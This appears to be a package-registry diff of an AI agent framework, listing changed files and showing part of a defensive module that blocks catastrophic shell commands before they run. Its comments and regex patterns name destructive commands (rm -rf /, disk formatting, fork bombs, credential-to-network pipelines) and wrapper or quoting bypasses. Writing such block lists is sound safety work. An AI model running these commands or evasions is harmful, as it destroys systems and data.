@gaunt-sloth/core 2.0.0-alpha.3 → 2.0.0-alpha.31

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (271) hide show
  1. package/README.md +52 -20
  2. package/dist/config/colour.d.ts +38 -0
  3. package/dist/config/colour.js +36 -0
  4. package/dist/config/colour.js.map +1 -0
  5. package/dist/config/defaults.d.ts +84 -0
  6. package/dist/config/defaults.js +99 -0
  7. package/dist/config/defaults.js.map +1 -0
  8. package/dist/config/filesystem-tools.d.ts +41 -0
  9. package/dist/config/filesystem-tools.js +56 -0
  10. package/dist/config/filesystem-tools.js.map +1 -0
  11. package/dist/config/jsonc.d.ts +12 -0
  12. package/dist/config/jsonc.js +41 -0
  13. package/dist/config/jsonc.js.map +1 -0
  14. package/dist/config/loader.d.ts +246 -0
  15. package/dist/config/loader.js +1321 -0
  16. package/dist/config/loader.js.map +1 -0
  17. package/dist/config/mouse.d.ts +50 -0
  18. package/dist/config/mouse.js +44 -0
  19. package/dist/config/mouse.js.map +1 -0
  20. package/dist/config/profiles.d.ts +68 -0
  21. package/dist/config/profiles.js +93 -0
  22. package/dist/config/profiles.js.map +1 -0
  23. package/dist/config/providerKeys.d.ts +69 -0
  24. package/dist/config/providerKeys.js +69 -0
  25. package/dist/config/providerKeys.js.map +1 -0
  26. package/dist/config/schema.d.ts +2999 -0
  27. package/dist/config/schema.js +1519 -0
  28. package/dist/config/schema.js.map +1 -0
  29. package/dist/config/shell-policy.d.ts +896 -0
  30. package/dist/config/shell-policy.js +750 -0
  31. package/dist/config/shell-policy.js.map +1 -0
  32. package/dist/config/tool-descriptions.d.ts +211 -0
  33. package/dist/config/tool-descriptions.js +272 -0
  34. package/dist/config/tool-descriptions.js.map +1 -0
  35. package/dist/config/types.d.ts +760 -0
  36. package/dist/config/types.js +13 -0
  37. package/dist/config/types.js.map +1 -0
  38. package/dist/config.d.ts +34 -827
  39. package/dist/config.js +25 -657
  40. package/dist/config.js.map +1 -1
  41. package/dist/constants.d.ts +46 -0
  42. package/dist/constants.js +46 -0
  43. package/dist/constants.js.map +1 -1
  44. package/dist/core/GthAbstractAgent.d.ts +135 -2
  45. package/dist/core/GthAbstractAgent.js +496 -30
  46. package/dist/core/GthAbstractAgent.js.map +1 -1
  47. package/dist/core/GthAgentRunner.d.ts +568 -54
  48. package/dist/core/GthAgentRunner.js +1537 -136
  49. package/dist/core/GthAgentRunner.js.map +1 -1
  50. package/dist/core/GthLangChainAgent.d.ts +115 -0
  51. package/dist/core/GthLangChainAgent.js +644 -17
  52. package/dist/core/GthLangChainAgent.js.map +1 -1
  53. package/dist/core/approvals/annotations.d.ts +122 -0
  54. package/dist/core/approvals/annotations.js +137 -0
  55. package/dist/core/approvals/annotations.js.map +1 -0
  56. package/dist/core/approvals/grants.d.ts +216 -0
  57. package/dist/core/approvals/grants.js +469 -0
  58. package/dist/core/approvals/grants.js.map +1 -0
  59. package/dist/core/approvals/matcher.d.ts +202 -0
  60. package/dist/core/approvals/matcher.js +267 -0
  61. package/dist/core/approvals/matcher.js.map +1 -0
  62. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  63. package/dist/core/approvals/mcpSubjects.js +99 -0
  64. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  65. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  66. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  67. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  68. package/dist/core/approvals/toolHost.d.ts +46 -0
  69. package/dist/core/approvals/toolHost.js +108 -0
  70. package/dist/core/approvals/toolHost.js.map +1 -0
  71. package/dist/core/debugCapture.d.ts +75 -0
  72. package/dist/core/debugCapture.js +101 -0
  73. package/dist/core/debugCapture.js.map +1 -0
  74. package/dist/core/gthLeanAgentFactory.d.ts +9 -0
  75. package/dist/core/gthLeanAgentFactory.js +10 -0
  76. package/dist/core/gthLeanAgentFactory.js.map +1 -0
  77. package/dist/core/launchBanner.d.ts +120 -0
  78. package/dist/core/launchBanner.js +418 -0
  79. package/dist/core/launchBanner.js.map +1 -0
  80. package/dist/core/plainToolIndication.d.ts +15 -0
  81. package/dist/core/plainToolIndication.js +174 -0
  82. package/dist/core/plainToolIndication.js.map +1 -0
  83. package/dist/core/reasoningBlocks.d.ts +60 -0
  84. package/dist/core/reasoningBlocks.js +98 -0
  85. package/dist/core/reasoningBlocks.js.map +1 -0
  86. package/dist/core/refusal.d.ts +53 -0
  87. package/dist/core/refusal.js +133 -0
  88. package/dist/core/refusal.js.map +1 -0
  89. package/dist/core/runStats.d.ts +52 -0
  90. package/dist/core/runStats.js +118 -0
  91. package/dist/core/runStats.js.map +1 -0
  92. package/dist/core/shell/ShellCommandFailedError.d.ts +54 -0
  93. package/dist/core/shell/ShellCommandFailedError.js +68 -0
  94. package/dist/core/shell/ShellCommandFailedError.js.map +1 -0
  95. package/dist/core/shell/abstention.d.ts +88 -0
  96. package/dist/core/shell/abstention.js +184 -0
  97. package/dist/core/shell/abstention.js.map +1 -0
  98. package/dist/core/shell/approvalCapture.d.ts +271 -0
  99. package/dist/core/shell/approvalCapture.js +108 -0
  100. package/dist/core/shell/approvalCapture.js.map +1 -0
  101. package/dist/core/shell/approvalStop.d.ts +84 -0
  102. package/dist/core/shell/approvalStop.js +119 -0
  103. package/dist/core/shell/approvalStop.js.map +1 -0
  104. package/dist/core/shell/arity.d.ts +6 -0
  105. package/dist/core/shell/arity.js +20 -6
  106. package/dist/core/shell/arity.js.map +1 -1
  107. package/dist/core/shell/denylist.d.ts +11 -0
  108. package/dist/core/shell/denylist.js +37 -0
  109. package/dist/core/shell/denylist.js.map +1 -0
  110. package/dist/core/shell/escalationSeverity.d.ts +141 -0
  111. package/dist/core/shell/escalationSeverity.js +89 -0
  112. package/dist/core/shell/escalationSeverity.js.map +1 -0
  113. package/dist/core/shell/framing.d.ts +190 -0
  114. package/dist/core/shell/framing.js +633 -0
  115. package/dist/core/shell/framing.js.map +1 -0
  116. package/dist/core/shell/hardline.d.ts +81 -0
  117. package/dist/core/shell/hardline.js +607 -0
  118. package/dist/core/shell/hardline.js.map +1 -0
  119. package/dist/core/shell/negotiation.d.ts +249 -0
  120. package/dist/core/shell/negotiation.js +355 -0
  121. package/dist/core/shell/negotiation.js.map +1 -0
  122. package/dist/core/shell/normalize.d.ts +44 -4
  123. package/dist/core/shell/normalize.js +61 -7
  124. package/dist/core/shell/normalize.js.map +1 -1
  125. package/dist/core/shell/openWorld.d.ts +263 -0
  126. package/dist/core/shell/openWorld.js +1188 -0
  127. package/dist/core/shell/openWorld.js.map +1 -0
  128. package/dist/core/shell/rater.d.ts +935 -0
  129. package/dist/core/shell/rater.js +1473 -0
  130. package/dist/core/shell/rater.js.map +1 -0
  131. package/dist/core/shell/raterModel.d.ts +41 -0
  132. package/dist/core/shell/raterModel.js +51 -0
  133. package/dist/core/shell/raterModel.js.map +1 -0
  134. package/dist/core/shell/rejection.d.ts +69 -0
  135. package/dist/core/shell/rejection.js +38 -0
  136. package/dist/core/shell/rejection.js.map +1 -0
  137. package/dist/core/toolCallRepair/grammar.d.ts +41 -0
  138. package/dist/core/toolCallRepair/grammar.js +116 -0
  139. package/dist/core/toolCallRepair/grammar.js.map +1 -0
  140. package/dist/core/toolCallRepair/index.d.ts +2 -0
  141. package/dist/core/toolCallRepair/index.js +7 -0
  142. package/dist/core/toolCallRepair/index.js.map +1 -0
  143. package/dist/core/toolCallRepair/payload.d.ts +36 -0
  144. package/dist/core/toolCallRepair/payload.js +341 -0
  145. package/dist/core/toolCallRepair/payload.js.map +1 -0
  146. package/dist/core/toolCallRepair/promote.d.ts +45 -0
  147. package/dist/core/toolCallRepair/promote.js +90 -0
  148. package/dist/core/toolCallRepair/promote.js.map +1 -0
  149. package/dist/core/toolDisplay.d.ts +123 -0
  150. package/dist/core/toolDisplay.js +451 -0
  151. package/dist/core/toolDisplay.js.map +1 -0
  152. package/dist/core/toolOutputChannel.d.ts +95 -0
  153. package/dist/core/toolOutputChannel.js +165 -0
  154. package/dist/core/toolOutputChannel.js.map +1 -0
  155. package/dist/core/types.d.ts +294 -12
  156. package/dist/core/types.js.map +1 -1
  157. package/dist/history/historyFormat.d.ts +28 -0
  158. package/dist/history/historyFormat.js +127 -0
  159. package/dist/history/historyFormat.js.map +1 -0
  160. package/dist/history/historyStore.d.ts +198 -0
  161. package/dist/history/historyStore.js +482 -0
  162. package/dist/history/historyStore.js.map +1 -0
  163. package/dist/history/recordSession.d.ts +37 -0
  164. package/dist/history/recordSession.js +56 -0
  165. package/dist/history/recordSession.js.map +1 -0
  166. package/dist/index.d.ts +4 -0
  167. package/dist/index.js +4 -0
  168. package/dist/index.js.map +1 -1
  169. package/dist/providers/anthropic.d.ts +1 -1
  170. package/dist/providers/anthropic.js +5 -10
  171. package/dist/providers/anthropic.js.map +1 -1
  172. package/dist/providers/deepseek.d.ts +1 -1
  173. package/dist/providers/deepseek.js +5 -10
  174. package/dist/providers/deepseek.js.map +1 -1
  175. package/dist/providers/geminiSchemaSanitizer.d.ts +55 -0
  176. package/dist/providers/geminiSchemaSanitizer.js +347 -0
  177. package/dist/providers/geminiSchemaSanitizer.js.map +1 -0
  178. package/dist/providers/geminiThinking.d.ts +52 -0
  179. package/dist/providers/geminiThinking.js +72 -0
  180. package/dist/providers/geminiThinking.js.map +1 -0
  181. package/dist/providers/google-genai.d.ts +1 -1
  182. package/dist/providers/google-genai.js +12 -11
  183. package/dist/providers/google-genai.js.map +1 -1
  184. package/dist/providers/groq.d.ts +1 -1
  185. package/dist/providers/groq.js +5 -10
  186. package/dist/providers/groq.js.map +1 -1
  187. package/dist/providers/huggingface.d.ts +25 -0
  188. package/dist/providers/huggingface.js +69 -0
  189. package/dist/providers/huggingface.js.map +1 -0
  190. package/dist/providers/modelCatalog.d.ts +109 -0
  191. package/dist/providers/modelCatalog.js +245 -0
  192. package/dist/providers/modelCatalog.js.map +1 -0
  193. package/dist/providers/modelDiscovery.d.ts +153 -6
  194. package/dist/providers/modelDiscovery.js +295 -41
  195. package/dist/providers/modelDiscovery.js.map +1 -1
  196. package/dist/providers/ollama.d.ts +19 -5
  197. package/dist/providers/ollama.js +60 -52
  198. package/dist/providers/ollama.js.map +1 -1
  199. package/dist/providers/openai.d.ts +1 -1
  200. package/dist/providers/openai.js +39 -10
  201. package/dist/providers/openai.js.map +1 -1
  202. package/dist/providers/openrouter.d.ts +4 -5
  203. package/dist/providers/openrouter.js +20 -35
  204. package/dist/providers/openrouter.js.map +1 -1
  205. package/dist/providers/vertexai.d.ts +1 -1
  206. package/dist/providers/vertexai.js +12 -11
  207. package/dist/providers/vertexai.js.map +1 -1
  208. package/dist/providers/xai.d.ts +1 -1
  209. package/dist/providers/xai.js +5 -10
  210. package/dist/providers/xai.js.map +1 -1
  211. package/dist/runtime/askStructured.d.ts +105 -0
  212. package/dist/runtime/askStructured.js +120 -0
  213. package/dist/runtime/askStructured.js.map +1 -0
  214. package/dist/runtime/conversation.d.ts +60 -0
  215. package/dist/runtime/conversation.js +151 -0
  216. package/dist/runtime/conversation.js.map +1 -0
  217. package/dist/runtime/singleShot.d.ts +25 -5
  218. package/dist/runtime/singleShot.js +95 -36
  219. package/dist/runtime/singleShot.js.map +1 -1
  220. package/dist/runtime/structuredOutput.d.ts +104 -0
  221. package/dist/runtime/structuredOutput.js +393 -0
  222. package/dist/runtime/structuredOutput.js.map +1 -0
  223. package/dist/utils/ProgressIndicator.d.ts +21 -0
  224. package/dist/utils/ProgressIndicator.js +30 -3
  225. package/dist/utils/ProgressIndicator.js.map +1 -1
  226. package/dist/utils/aiignoreUtils.js.map +1 -1
  227. package/dist/utils/binaryOutputUtils.js.map +1 -1
  228. package/dist/utils/consoleUtils.d.ts +52 -0
  229. package/dist/utils/consoleUtils.js +72 -2
  230. package/dist/utils/consoleUtils.js.map +1 -1
  231. package/dist/utils/crashHandler.d.ts +87 -0
  232. package/dist/utils/crashHandler.js +128 -0
  233. package/dist/utils/crashHandler.js.map +1 -0
  234. package/dist/utils/debugDump.d.ts +134 -0
  235. package/dist/utils/debugDump.js +381 -0
  236. package/dist/utils/debugDump.js.map +1 -0
  237. package/dist/utils/debugUtils.d.ts +13 -4
  238. package/dist/utils/debugUtils.js +36 -13
  239. package/dist/utils/debugUtils.js.map +1 -1
  240. package/dist/utils/displayWidth.d.ts +53 -0
  241. package/dist/utils/displayWidth.js +195 -0
  242. package/dist/utils/displayWidth.js.map +1 -0
  243. package/dist/utils/fileUtils.d.ts +24 -2
  244. package/dist/utils/fileUtils.js +54 -12
  245. package/dist/utils/fileUtils.js.map +1 -1
  246. package/dist/utils/llmUtils.d.ts +39 -8
  247. package/dist/utils/llmUtils.js +76 -8
  248. package/dist/utils/llmUtils.js.map +1 -1
  249. package/dist/utils/redactSecrets.d.ts +63 -0
  250. package/dist/utils/redactSecrets.js +286 -0
  251. package/dist/utils/redactSecrets.js.map +1 -0
  252. package/dist/utils/systemPromptNotes.d.ts +225 -0
  253. package/dist/utils/systemPromptNotes.js +340 -0
  254. package/dist/utils/systemPromptNotes.js.map +1 -0
  255. package/dist/utils/systemUtils.d.ts +49 -1
  256. package/dist/utils/systemUtils.js +67 -3
  257. package/dist/utils/systemUtils.js.map +1 -1
  258. package/dist/utils/toolMatching.d.ts +30 -0
  259. package/dist/utils/toolMatching.js +44 -0
  260. package/dist/utils/toolMatching.js.map +1 -0
  261. package/dist/utils/untrustedText.d.ts +66 -0
  262. package/dist/utils/untrustedText.js +80 -0
  263. package/dist/utils/untrustedText.js.map +1 -0
  264. package/package.json +22 -6
  265. package/schema/gsloth-config.schema.json +3134 -0
  266. package/dist/core/shell/allowlist.d.ts +0 -75
  267. package/dist/core/shell/allowlist.js +0 -187
  268. package/dist/core/shell/allowlist.js.map +0 -1
  269. package/dist/core/shell/judge.d.ts +0 -161
  270. package/dist/core/shell/judge.js +0 -261
  271. package/dist/core/shell/judge.js.map +0 -1
@@ -0,0 +1,607 @@
1
+ /**
2
+ * @module core/shell/hardline
3
+ *
4
+ * The shell floor — spec §8. Refused inside `executeCommand` BEFORE spawn, so a match fires
5
+ * regardless of `approvals: "bypass"`, any allow-list entry, or the confirmation path. `bypass`
6
+ * bypasses the *confirmation*; it does not bypass this.
7
+ *
8
+ * **It is consulted twice, and the second call site is the one §4.2 asks for.** Exec time is the
9
+ * guarantee that a matching command never runs. The approvals gate consults it *before* any rating
10
+ * at the two rated rungs, because "refused at execution whatever you decide" still lets the gate
11
+ * open a §5 negotiation, or put an approval dialog in front of a person, about a command that was
12
+ * never going to run — and *"asking a human to approve something that is then refused anyway
13
+ * teaches them their answer does not count, which is worse than a flat refusal"*. Both sites share
14
+ * {@link buildHardlineRefusal}, so one policy speaks with one sentence.
15
+ *
16
+ * It lives in `@gaunt-sloth/core` rather than beside the toolkit that executes commands because the
17
+ * approvals gate (`GthAgentRunner`) is core's and core cannot import `@gaunt-sloth/agent`.
18
+ *
19
+ * **What it is:** a cheap, deterministic way to turn away a small set of commands we are
20
+ * **absolutely sure** are catastrophic and that can be recognised **without numerous annoying false
21
+ * positives** — wipe the root filesystem, format a disk, overwrite a raw block device, re-own the
22
+ * filesystem out from under root, fork-bomb, take the host down — plus the deterministic subset of
23
+ * the §4.1.1 `attack` outcome (a credential source and a network sink in one pipeline).
24
+ *
25
+ * **What it is NOT: a security boundary, an ultimate defence, or complete.** It is a lexical test
26
+ * over the normalized command; it does not parse the shell and never will. **Incompleteness here is
27
+ * by design, so a review finding that merely names an uncovered variant is not a defect in this
28
+ * layer.** Building something that could claim completeness costs years we do not have, and we have
29
+ * a rater for the second step of rejection. Recoverable-but-costly operations (`git reset --hard`,
30
+ * `rm -rf ./build`, `chmod -R 777 ./dir`, `curl | sh`) are deliberately not here either — those are
31
+ * the confirmation dialog's job.
32
+ *
33
+ * **How it may grow: spec §8.0 states the rules and they bind — read it before adding a pattern.**
34
+ * In short: stress-test a new case for side effects, and drop it if the false positives cannot be
35
+ * avoided cheaply. **What decides every one of those calls is the asymmetry — a false positive here
36
+ * is unappealable at EVERY rung including `bypass`, while a miss still has the rater and the
37
+ * escalation behind it at every rung but `bypass`.** {@link CMD_POS} carries the worked example of
38
+ * a case measured and dropped.
39
+ *
40
+ * §8.1 — **the floor is never advertised.** It is documented for people reading the code and the
41
+ * spec, never offered to a user as a reason to feel safe; user-facing copy cites only protections
42
+ * the user can inspect and extend (the deny list).
43
+ *
44
+ * **Mechanism.** Patterns match the NORMALIZED command (`@gaunt-sloth/core` `core/shell/normalize`)
45
+ * so ANSI, fullwidth, backslash-split and whitespace-padded spellings cannot walk past them. The
46
+ * normalized form PRESERVES line breaks — they are separators, not padding — and {@link CMD_POS}
47
+ * and {@link TARGET_TOKEN_END} are both built from core's one shared `COMMAND_SEPARATOR_CLASS`, so
48
+ * the two halves cannot come to disagree about what a separator is. Every destructive-verb pattern
49
+ * is anchored at {@link CMD_POS}, so a verb in an ordinary argument is not a refusal.
50
+ *
51
+ * The floor is deliberately INDEPENDENT of the allow-list classifier above it: it must block a
52
+ * catastrophic command even if every layer above wrongly decided that command was safe.
53
+ */
54
+ import { COMMAND_SEPARATOR_CLASS, normalizeCommand } from '#src/core/shell/normalize.js';
55
+ /**
56
+ * A run of flag tokens. Bounded per token by the required trailing whitespace, and unable to
57
+ * consume the wrapped command because every iteration must start with `-`.
58
+ */
59
+ const WRAPPER_FLAGS = '(?:-[^\\s]+\\s+)*';
60
+ /**
61
+ * The wrapper programs that may sit between a command position and the command itself, as ONE
62
+ * repeatable list — so the order they are written in cannot matter, and `env FOO=1 sudo rm -rf /`
63
+ * matches as readily as `sudo env FOO=1 rm -rf /`.
64
+ *
65
+ * The list is short by charter, not by accident (see the module header). It is the enumeration this
66
+ * table exists to bound, and the reason wrapped invocations are the floor's standing residual.
67
+ *
68
+ * **Each entry carries the operands it takes.** The tempting shortcut — "after a wrapper, skip
69
+ * tokens until one looks like a command" — is what turns `timeout 5 echo rm -rf /` into an
70
+ * unappealable refusal of an `echo`. A wrapper may consume only the operand shape it defines;
71
+ * anything else ends the prefix, and the verb then has to sit at a genuine command position.
72
+ *
73
+ * Value-taking short flags are listed BEFORE the generic flag run in each alternation, or
74
+ * `-[^\s]+` matches `-u` and leaves its value sitting where the command should be.
75
+ *
76
+ * **The generic run then EXCLUDES those same flags by lookahead, and that is what keeps this
77
+ * pattern out of CATASTROPHIC BACKTRACKING — do not "simplify" it away.** Listing the value-taking
78
+ * branch first only makes it *preferred*; the generic branch can still match `-u ` on backtracking,
79
+ * so a run of `-u ` tokens partitions two ways per pair — Fibonacci-many parses of one input, all
80
+ * of which the engine walks when the overall match fails. {@link CMD_POS} is shared by every
81
+ * destructive-verb pattern, so the whole floor inherits it: measured at `sudo ` + `-u `×40 taking
82
+ * 2.5 seconds, ×60 not finishing. The lookahead makes the branches mutually exclusive, removing the
83
+ * ambiguity at its source rather than bounding its cost. Clustered (`-u10`) and long (`--user`)
84
+ * spellings still fall to the generic run: the character after the flag letter is not whitespace.
85
+ *
86
+ * It also makes the value reading FORCED rather than preferred, which deliberately narrows seven
87
+ * forms: `sudo -u rm -rf /` does not match, because `-u rm` names the *user* and the command that
88
+ * runs is `/`. That is the shell's own reading, so refusing it would be a false positive.
89
+ *
90
+ * **These arms are reachable only from a command position**, so they are strictly additive: they
91
+ * widen what counts as a prefix, never where a prefix may start. A wrapper name in an ordinary
92
+ * argument (`man timeout`) cannot reach this table at all.
93
+ */
94
+ const WRAPPER_ARMS = [
95
+ // `-u root` / `-g grp` take a value; the generic run would eat the flag and leave the value.
96
+ `sudo\\s+(?:-[ugpUCDhRT]\\s+\\S+\\s+|-(?![ugpUCDhRT]\\s)[^\\s]+\\s+)*`,
97
+ // `env -i`, `env -u VAR`, then any number of VAR=VAL assignments. Flags precede the assignments,
98
+ // as in the real syntax.
99
+ `env\\s+(?:-u\\s+\\S+\\s+|-(?!u\\s)[^\\s]+\\s+)*(?:\\w+=\\S*\\s+)*`,
100
+ // `timeout [flags] DURATION cmd` — the duration operand is what the flag run cannot express.
101
+ // Longest-first against `time` below; both require trailing whitespace, so neither can claim
102
+ // the other's name.
103
+ `timeout\\s+(?:-[sk]\\s+\\S+\\s+|-(?![sk]\\s)[^\\s]+\\s+)*[0-9]+(?:\\.[0-9]+)?[smhd]?\\s+`,
104
+ // `nice -n 10` / `ionice -c 3`; the clustered spellings (`-c3`, `-o0`) fall to the generic run.
105
+ `nice\\s+(?:-n\\s+\\S+\\s+|-(?!n\\s)[^\\s]+\\s+)*`,
106
+ `ionice\\s+(?:-[cnp]\\s+\\S+\\s+|-(?![cnp]\\s)[^\\s]+\\s+)*`,
107
+ `stdbuf\\s+${WRAPPER_FLAGS}`,
108
+ // Bare forms only. `eval "rm -rf /"` and `xargs -I{} sh -c "…"` put the command inside a quoted
109
+ // ARGUMENT, which needs CFG-29 span extraction rather than another entry here — see the residual
110
+ // note in the module docblock. `eval rm -rf /` and `xargs rm -rf /` are the forms covered.
111
+ `(?:eval|command|builtin|exec|nohup|setsid|time|xargs)\\s+${WRAPPER_FLAGS}`,
112
+ ];
113
+ /**
114
+ * Matches a position where the shell would begin parsing a NEW command: start of string, after a
115
+ * separator (`;` `&` `|` newline), after `$(` or a backtick, optionally consuming any run of the
116
+ * leading wrappers in {@link WRAPPER_ARMS}. Used by every destructive-verb pattern so a verb in an
117
+ * ordinary argument (`echo reboot`, `grep -c mkfs docs/*.md`) is not a refusal.
118
+ *
119
+ * **What this deliberately does NOT model. This is the worked example of the header's drop rule —
120
+ * read it before proposing an addition.**
121
+ *
122
+ * **Compound-command openers: `(`, `{`, `)` for a `case` arm, and the `then`/`else`/`elif`/`do`
123
+ * keyword positions.** A shell begins a command at every one of them, so `(rm -rf /)`,
124
+ * `{ rm -rf /; }`, `if true; then rm -rf /; fi` and `for f in a; do rm -rf /; done` all execute.
125
+ * Each opener was measured against prose whose only crime is describing shell syntax, and **every
126
+ * one costs legitimate commands — there is no free opener:**
127
+ *
128
+ * | opener | invocations bought | prose refused (of 20) |
129
+ * |---|---|---|
130
+ * | `(` | 1 | 4 |
131
+ * | `{` + space | 1 | 3 |
132
+ * | `)` (case arm) | 1 | 3 |
133
+ * | `then` | 2 | 2 |
134
+ * | `do` | 2 | 2 |
135
+ * | `else` | 1 | 1 |
136
+ *
137
+ * `)` is the sharpest: it is the only way to reach a `case` arm and it also refuses
138
+ * `echo "(a) rm -rf / is bad"`, so the two cannot both hold lexically. **So the cases are DROPPED.**
139
+ *
140
+ * **A miss here is not naked.** `classifyCommand` returns `null` for seven of the eight forms — the
141
+ * `;` inside them makes the command unclassifiable — so they escalate at `assisted` and
142
+ * `auto`, where the rater rates them (measured `catastrophic` on `claude-haiku-4-5`,
143
+ * `gemini-3.6-flash`, `gemini-3.5-flash-lite` and `google/gemma-3-12b-it`). `(rm -rf /)` is the
144
+ * eighth and resolves to prefix `(rm`, which no allow-list will hold. **`bypass` consults neither,
145
+ * so there they are uncovered** — knowingly: that rung's whole meaning is "stop asking me", and a
146
+ * user who wants the catastrophic set actually stopped belongs on `manual`.
147
+ *
148
+ * **Wrapped invocations whose flag takes a space-separated value** are the same shape and the same
149
+ * answer — `sudo --user root rm -rf /`, `timeout --kill-after 5s 10s rm -rf /`, `nice --adjustment
150
+ * 10 …`, `xargs -n 1 …`, `stdbuf -o 0 …`, `env -C /tmp …`, `exec -a name …` all execute. The flag
151
+ * run consumes the flag and leaves the value where a command would be, ending the prefix. Covering
152
+ * them needs a per-flag enumeration of which long forms take values, where a wrong guess produces a
153
+ * MISS rather than mere noise: the growth this file refuses.
154
+ *
155
+ * **Quoting** is out because this is a lexical test, and teaching it to parse quotes is a second
156
+ * command parser — a quote-aware scanner built for exactly this was measured leaking 6 of 12
157
+ * attacks where the blunt one leaked 0. `sh -c "…"`, `bash -c "…"`, `eval "…"` and
158
+ * `xargs -I{} sh -c "…"` put the command inside an argument and stay uncovered on that basis; the
159
+ * BARE `eval rm -rf /` and `xargs rm -rf /` ARE covered by {@link WRAPPER_ARMS}, so those names
160
+ * appearing there must not be read as full cover. The same lexical blindness means a mention
161
+ * following a separator or backtick still matches (`echo "step 1; rm -rf / is fatal"` is refused).
162
+ *
163
+ * All of it is pinned in `shellHardline.spec.ts` — as `knowinglyUncovered` and as must-NOT-fire
164
+ * prose probes — so a later widening goes red against the prose before it can go green against the
165
+ * invocations.
166
+ */
167
+ const CMD_POS = `(?:^|[${COMMAND_SEPARATOR_CLASS}\`]|\\$\\()` +
168
+ '\\s*' +
169
+ `(?:${WRAPPER_ARMS.join('|')})*` +
170
+ '\\s*';
171
+ /**
172
+ * The end of a target TOKEN, as a zero-width lookahead: end of input, whitespace, a separator that
173
+ * starts a new command, or a substitution closer.
174
+ *
175
+ * **It ends the TOKEN, not the command, and the difference is load-bearing.** A tail requiring the
176
+ * target path to be the last thing on the line is defeated by anything after it, which lets
177
+ * `rm -rf / --no-preserve-root`, `rm -rf / /tmp` and `rm -rf /etc /var` through — refusing the form
178
+ * GNU coreutils declines anyway while allowing the form that actually deletes the filesystem.
179
+ *
180
+ * **It still has to BIND**, because a bare `/` otherwise matches the first character of every
181
+ * absolute path. That is what keeps `/var/www/html` and `/home/deploy/app`, where all ordinary work
182
+ * happens, out of range: after `/var` comes `/`, which is neither whitespace nor a separator.
183
+ *
184
+ * Built from the ONE shared {@link COMMAND_SEPARATOR_CLASS}, widened — never a second spelling of
185
+ * it, or the two halves of this module come to disagree about what a separator is and a
186
+ * newline-composed command silently stops matching. (JS `$` without the `m` flag matches only true
187
+ * end-of-input, so the explicit line break in the class is required; `m` is NOT an alternative —
188
+ * it would also change `^` in {@link CMD_POS}.)
189
+ *
190
+ * **The class also ends the token at a substitution CLOSER — `)` and a backtick** — which is the
191
+ * symmetric case to {@link CMD_POS} treating `$(` and a backtick as command *openers*. Without it a
192
+ * target's tail cannot bind inside a substitution, and `echo $(rm -rf /)`, `` echo `rm -rf /` ``
193
+ * and the bare `$(rm -rf /)` are allowed: the floor knows where such a command begins and not where
194
+ * it ends.
195
+ *
196
+ * Widening an unappealable layer, so it carries its own must-NOT-fire probes
197
+ * (`rm -rf ./build --verbose`, `chown -R app:app /var/www/html extra`) rather than relying on the
198
+ * must-refuse ones alone.
199
+ *
200
+ * Not to be confused with the credential section's `TOKEN_END` below. That one ends a PATH token —
201
+ * it consumes an optional trailing slash and stops only at whitespace. The two are deliberately
202
+ * separate: this one must treat `;`/`&`/`|` and the substitution closers as ending the token,
203
+ * because a target is the last thing before the enclosing construct resumes.
204
+ */
205
+ const TARGET_TOKEN_END = `(?=$|[\\s)\`${COMMAND_SEPARATOR_CLASS}])`;
206
+ /**
207
+ * A target path, in the three spellings a shell accepts for the same file: bare, double-quoted,
208
+ * single-quoted. `rm -rf "/"` deletes exactly what `rm -rf /` deletes.
209
+ *
210
+ * **The quotes are tolerated HERE rather than folded into `normalizeCommand`, and that is
211
+ * deliberate.** The normalizer also feeds the allow-list classifier and `hasUnsafeComposition`, so
212
+ * stripping quotes there would change what `classifyCommand` resolves and a quoted `;` would stop
213
+ * being fail-closed. Tolerating them in three target arms is local and bounded; folding them
214
+ * globally is not.
215
+ *
216
+ * Each spelling still ends at {@link TARGET_TOKEN_END}, so a quote that merely *starts* the token
217
+ * does not make the whole token a target: `rm -rf /"var"/www` is not `rm -rf /`.
218
+ */
219
+ const quotedOrBare = (path) => `(?:"${path}"|'${path}'|${path})${TARGET_TOKEN_END}`;
220
+ /* -------------------------------------------------------------------------------------------- *
221
+ * The shared TARGET fragments.
222
+ *
223
+ * Three families here (`rm`, `chmod`, `chown`) are catastrophic for the same reason: they are
224
+ * pointed at the root of the filesystem or at a system directory. **ONE spelling of that idea,
225
+ * shared by all three, is a correctness requirement rather than tidiness** — three independent
226
+ * spellings drift, and the odd one out is how `chmod -R 777 /var/www` came to be refused
227
+ * unappealably as if it were `chmod -R 777 /`.
228
+ * -------------------------------------------------------------------------------------------- */
229
+ /**
230
+ * The root filesystem AS A TARGET: `/`, `/*`, or `//`. The {@link TARGET_TOKEN_END} tail is the
231
+ * whole point — without it, `/` matches the first character of every absolute path. Quoted
232
+ * spellings via {@link quotedOrBare}.
233
+ */
234
+ const ROOT_TARGET = quotedOrBare('/\\s*(?:\\*|/)?');
235
+ /**
236
+ * A NAMED system directory as a target: `/etc`, `/etc/`, `/usr/*`. The token has to END at the
237
+ * directory itself, so a path BELOW one — `/var/www/html`, `/home/deploy/app`, where all ordinary
238
+ * work happens — is deliberately out of range.
239
+ *
240
+ * The optional trailing `/` is a DELIBERATE WIDENING: `chmod -R 777 /etc/` is semantically
241
+ * identical to `chmod -R 777 /etc` and is the more natural way to write a directory. All three
242
+ * families get it from this one spelling. The tail still has to BIND, so `/etc/foo` and
243
+ * `/var/www/html` remain out of range.
244
+ */
245
+ const SYSTEM_DIR_TARGET = quotedOrBare('(?:/(?:home|root|etc|usr|var|bin|sbin|boot|lib|lib64|opt|sys|proc))(?:/\\*?)?');
246
+ /* -------------------------------------------------------------------------------------------- *
247
+ * The pieces of the recursive-`chown`-of-root patterns.
248
+ *
249
+ * `chown` differs from `rm` in shape: an operand (the owner spec) sits between the options and the
250
+ * target, and it may appear on either side of them (`chown -R nobody:nobody /`,
251
+ * `chown nobody:nobody -R /`). These three fragments let the target arms below skip exactly the
252
+ * option and owner tokens — and nothing else — on the way to the target.
253
+ * -------------------------------------------------------------------------------------------- */
254
+ /**
255
+ * Whitespace that is NOT a command separator. The gaps between a command's own tokens are
256
+ * horizontal; a line break ENDS the command, so the skip loops below must not step over one. With
257
